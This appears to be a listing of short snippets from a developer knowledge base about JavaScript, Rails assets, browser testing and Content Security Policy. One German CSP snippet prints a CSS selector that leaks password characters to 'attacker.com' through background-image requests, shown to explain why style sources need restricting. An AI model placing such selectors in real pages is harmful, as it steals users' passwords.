...the matchers fail. This helps when browser state changes between expectations, e.g. by async JavaScript that mutates the DOM tree while you're making multiple observations. Custom matchers must be...
...parser will revert the unicode escape sequence into a character. Escaping high ASCII in JavaScript function escapeHighASCII(string) { let unicodeEscape = (char) => "\\u" + char.charCodeAt(0).toString(16).padStart(4, '0')
...sometimes your application will explode with an error outside your control. Two examples: A JavaScript library references a source map in its build, but forgets to package the source map...
...aber die wichtigsten sind: Quellen: default-src: Fallback für alles weitere *-src script-src: JavaScript style-src: CSS font-src: Fonts img-src: Bilder object-src: Quellen für Plugins (z.B...
input[type="password"][value$="a"] { background-image: url("http://attacker.com/passwords-ends-with/a"); } Problem: Manche Javascript-Libraries (Editoren etc) verwenden Inline-Styles. object-src Auch wichtig. Wenn nicht eingeschränkt, können...
...See MDN's full list of options. Also note that browsers will not execute Javascript for some combinations of modifiers. This was extracted from Unpoly...
timemachine.js allows you to mock the client's time by monkey-patching into Javascript core classes. We use timemachine.js in combination with the Timecop gem to synchronize the local...
...we see that Timecop is mocking the time: - if defined?(Timecop) && Timecop.top_stack_item = javascript_include_tag "timemachine.js" :javascript timemachine.config({ dateString: #{Time.now.to_json}, tick: true }) Warning timemachine.js will mock the...
...disabled text field is not possible (copy&paste does not work) Firefox cancels any JavaScript events at a fieldset[disabled] readonly fields post to the server get focus
When using the asset pipeline your assets (images, javascripts, stylesheets, fonts) live in folders inside app: app/assets/fonts app/assets/images app/assets/javascripts app/assets/stylesheets With the asset pipeline, you can use the...
...power of Ruby to generate assets. E.g. you can have ERB tags in your Javascript. Or you can have an ERB template which generates Haml which generates HTML. You can...
...knowing what to look for. When coming from jQuery, also see the card on JavaScript without jQuery. This card includes a link to You Don't Need jQuery, which summarizes...
...most of the alternatives in native Javascript implementation to jQuery methods...
Collection of useful tools in the Chrome JavaScript console. Make the whole page editable This is not special to Chrome, but still a clever thing: document.body.contentEditable=true Taking time
...have many elements on our page. Clicking them should open a modal dialog. Vanilla JavaScript document.addEventListener('click', function(event) { if (event.target.closest('.dialog-link')) { // Open dialog } }); See Event delegation without jQuery...
...leading to validation errors and thus user confusion. We can fix all that with JavaScript: const element = document.querySelector('#your-input') // Number inputs allow incrementing/decrementing with arrow keys, and support exponential...
...single-line texts. If you want to truncate tests across multiple lines, use a JavaScript solution like Superclamp. There is also -webkit-line-clamp which works only on Chrome.
extract_css: true 3. Change stylesheet_link_tag to stylesheet_pack_tag and javascript_include_tag to javascript_pack_tag 4. Replace image_tag with image_pack_tag if...
...the modules in other files, like the app/webpack/stylesheets/boostrap.sass imports the bootstrap stylesheet. For old Javascript libraries you need to expose jQuery to the window object. Here is an example how...
...to livereload-js match[1] end watch(%r(^app/assets/.*\.js$)) do |_match| # Any source Javascript changed. Assume the next changes in public/assets refer to JS. last_js_change = Time.now
port: 35729, } Finally, require this new entrypoint in your layout with - if Rails.env.development? = javascript_include_tag 'dev', nonce: true (skip the nonce, if you do not have a CSP...
...Recovery Point Objective (RPO) & Recovery Time Objective (RTO) YAML aint markup language (YAML) 101 JavaScript Object Notation (JSON) 101 Alles unter Cloud Computing 101 AWS Fundamentals Aufgaben
Old release code Old tmp folders with compiled view templates etc. Precompiled assets (Javascripts, images...) that no longer exist. When using the asset pipeline, Capistrano will symlink the public/assets...
...scrolling. This frees the browser up to respond to scrolling immediately without waiting for JavaScript, thus ensuring a reliably smooth scrolling experience for the user. elem.addEventListener('touchstart', fn, { passive: true...
...modernen Webapplikationen bestehen. Außerdem weißt du für was welcher Baustein da ist: HTML CSS Javascript (Browser, Frontend) "Backend" Applikation Du verstehst warum HTTP ein "stateless Protocol" ist.
...you understand "impossible" behavior of your tests. When you run a Rack::Test (non-Javascript) test with Capybara, there is a single process in play. It runs both your test...
...and the server responding to the user interactions scripted by your test. A Selenium (Javascript) test has a lot more moving parts: One process runs your test script. This is...
You should prefer native promises to jQuery's Deferreds. Native promises are much faster than their jQuery equivalent. Native promises...
If possible your code should detect features, not browsers. But sometimes you just need to sniff the browser. And when...
...know about this. 0. Security considerations Each "like" button is implemented by including a Javascript on your site. This means you are running fucking remote code on your page. You...
...site is suggesting security by operating under HTTPS and you are still loading remote Javascript you are sort of full of shit. Even if you are cool with injecting remote...
...focusable nor visible to screen readers. Alternatives If you're starting your transition from JavaScript, you can give the element the [inert] attribute. This will make the browser ignore input...